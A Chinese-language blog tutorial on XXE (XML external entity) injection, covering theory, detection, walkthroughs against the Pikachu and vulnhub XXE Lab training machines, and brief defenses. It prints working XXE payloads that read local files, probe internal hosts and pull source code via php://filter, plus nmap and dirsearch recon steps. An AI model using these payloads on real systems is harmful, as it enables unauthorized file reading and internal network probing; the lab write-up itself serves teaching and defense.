【XXE漏洞】原理及实践演示

一、原理

XML是用于传输和存储数据的一种格式,相当于一种信息传输工具,其中包含了XML声明,DTD文档类型定义、文档元素。

XXE是xml外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

二、XML概述

  • 特性:

    • XML对大小写敏感
    • XML所有元素要存在一个闭合标签
    • XML中空格会被保留
    • XML中属性值要用引号保留
  • DTD文档类型定义

    DTD用于约束文档的结构,变量的格式:

    image-20221108221134828

    可见先由<?xml ?>标签定义version等信息,然后是<!DOCTYPE sth[] >定义根目录sth下的子目录,这两个构成了DTD文档类型定义。接着才是xml文档内容。

  • DTD中的实体

    实体用于定义和引用普通文本或者特殊字符

    • 外部实体

      <!ENTITY 实体 SYSTEM "url">
      
      <?xml version="1.0"?>
      <!DOCTYPE root [
      	<!ENTITY test SYSTEM "sth.xml">
      ]>
      <root>&test;</root>
      
    • 内部实体

      <!ENTITY 实体名称 "实体的值">
      

三、XXE检测

  • 根据抓包的内容

    <user>test</user> <pass>test</pass>
    

    有这样的格式则基本为XML

  • 根据Content-Type值:

    text/xml或者application/xml

  • 更改Content-Type值,然后看返回值

具体分析可以看下面的实例。

四、XXE实例

Pikachu靶场

image-20221109154624730

在文本框中随意输入一些数据,然后使用bp进行抓包:

image-20221110111208760

变量和accept里都提示xml,基本上可以判定为xml,下面直接进行XXE利用。(注意:本地搭建的网站如果用127.0.0.1进行访问可能会导致bp抓不到包,需要使用本机的其他内网ip进行访问)

  • 读文件

    payload:

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    	<!ENTITY rabbit SYSTEM "file:///phpstudy_pro/WWW/pk/test.txt">
    ]>
    <test>&rabbit;</test>
    
    #rabbit相当于是一个变量
    #file后的路径似乎需要是绝对路径(后续在进行研究)
    

    读文件成功(“从是大V撒”是test.txt的内容):

    image-20221109155411332
  • 内网探针

    payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo[
    <!ELEMENT foo ANY>
    <!ENTITY rabbit SYSTEM "http://127.0.0.1:80/pk/test.txt">
    ]>
    <x>&rabbit;</x>
    

    探测端口及文件成功:

    image-20221109160253094
  • 下载源码

    payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo[
    <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=http://10.21.135.43/pk/test.txt">
    ]>
    <x>&rabbit;</x>
    

因为网站当前的url为:http://10.21.135.43/pk/vul/xxe/xxe_1.php

可见该目录下没有test.txt文件,所以不能写成

PHP://filter/read=convert.base64-encode/resource=test.txt

而是采用完整url的方式。执行payload:

image-20221110230948995

将上诉base64序列解码后即可得到test.txt中的内容。

vulnhub XXE Lab靶场

  • 下载地址:https://www.vulnhub.com/entry/xxe-lab-1,254/

    安装后不能登录且不知道IP,需要自己扫描:

    image-20221110115851947
  • 将kali和xxe主机放在一个网段下,使用nmap扫描C段:

    image-20221110143520147

    192.168.108.143开放了80端口,基本上可以判断就是该主机。

    image-20221110143912477
  • 进行目录扫描

    这里使用dirsearch,安装命令如下:

    git clone https://github.com/maurosoria/dirsearch.git
    

    然后cd进入该目录,使用命令进行扫描:

    python3 dirsearch.py -u 192.168.108.143
    
    image-20221110150121810

    可以看到存在一个robots.txt

  • 访问该目录

    image-20221110150240182

    根据提示访问:

    image-20221110150309263

    image-20221110150335137
  • 进行xxe注入

    随便输入123,可见存在xml文件的解析,下面直接进行利用:

    image-20221110150626617
  • 将上面的xml换为payload(注意原先的xml返回格式不能改变,只能替换变量)

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE foo[
    
    <!ELEMENT foo ANY>
    
    <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=xxe.php">
    
    ]>
    
    <root><name>
    
    &rabbit;
    
    </name><password>123</password></root>
    
    image-20221110152141600
  • 将上面进行base64解码,解码后可以发现没有什么特殊作用。那么尝试读取admin.php并进行查看:

    <?php
       session_start();
    ?>
    
    
    <html lang = "en">
       
       <head>
          <title>admin</title>
          <link href = "css/bootstrap.min.css" rel = "stylesheet">
          
          <style>
             body {
                padding-top: 40px;
                padding-bottom: 40px;
                background-color: #ADABAB;
             }
             
             .form-signin {
                max-width: 330px;
                padding: 15px;
                margin: 0 auto;
                color: #017572;
             }
             
             .form-signin .form-signin-heading,
             .form-signin .checkbox {
                margin-bottom: 10px;
             }
             
             .form-signin .checkbox {
                font-weight: normal;
             }
             
             .form-signin .form-control {
                position: relative;
                height: auto;
                -webkit-box-sizing: border-box;
                -moz-box-sizing: border-box;
                box-sizing: border-box;
                padding: 10px;
                font-size: 16px;
             }
             
             .form-signin .form-control:focus {
                z-index: 2;
             }
             
             .form-signin input[type="email"] {
                margin-bottom: -1px;
                border-bottom-right-radius: 0;
                border-bottom-left-radius: 0;
                border-color:#017572;
             }
             
             .form-signin input[type="password"] {
                margin-bottom: 10px;
                border-top-left-radius: 0;
                border-top-right-radius: 0;
                border-color:#017572;
             }
             
             h2{
                text-align: center;
                color: #017572;
             }
          </style>
          
       </head>
    	
       <body>
          
          <h2>Enter Username and Password</h2> 
          <div class = "container form-signin">
             
             <?php
                $msg = '';
                if (isset($_POST['login']) && !empty($_POST['username']) 
                   && !empty($_POST['password'])) {
    				
                   if ($_POST['username'] == 'administhebest' && 
                      md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                      $_SESSION['valid'] = true;
                      $_SESSION['timeout'] = time();
                      $_SESSION['username'] = 'administhebest';
                      
                    echo "You have entered valid use name and password <br />";
    		$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
    		echo $flag;
                   }else {
                      $msg = 'Maybe Later';
                   }
                }
             ?>
          </div> <!-- W00t/W00t -->
          
          <div class = "container">
          
             <form class = "form-signin" role = "form" 
                action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); 
                ?>" method = "post">
                <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
                <input type = "text" class = "form-control" 
                   name = "username" 
                   required autofocus></br>
                <input type = "password" class = "form-control"
                   name = "password" required>
                <button class = "btn btn-lg btn-primary btn-block" type = "submit" 
                   name = "login">Login</button>
             </form>
    			
             Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
             
          </div> 
          
       </body>
    </html>
    

    可以看到代码只是进行了简单的前端验证,账户名为:administhebest,秘密在进行md5解密后可得:admin@123。

  • 登录

    image-20221110153341335

    点击flag发现是空的:

    image-20221110153405050
  • 读取flagmeout.php

    image-20221110153524567

    扔到decode模块进行解密:

    image-20221110153606102

    JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
    

    这是个base32解码(因为base32中只包含大写字母A-Z和数字234567),解码后看到又是一个base64:

    image-20221110153733852

    继续进行解码:

    image-20221110154547992

    提示flag在/etc/.flag.php中,同样使用伪协议php://进行读取。

  • 解码

    image-20221110154847335

    因为在.flag.php中所以是一个php代码,复制到在线运行环境中(php5.6运行成功,其他版本没有成功):

    image-20221110160816165

    可见flag为:

    {xxe_is_so_easy}
    

五、防御

  • 使用开发语言提供的禁用外部实体的方法
  • 过滤用户提交的XML数据(关键词<!DOCTYPE和<!ENTITY或者 SYSTEM和PUBLIC)
  • 配置只能使用静态DTD,禁止外来引入。

参考链接

posted @ 2022-11-10 23:13  CAP_T  阅读(198)  评论(0编辑  收藏  举报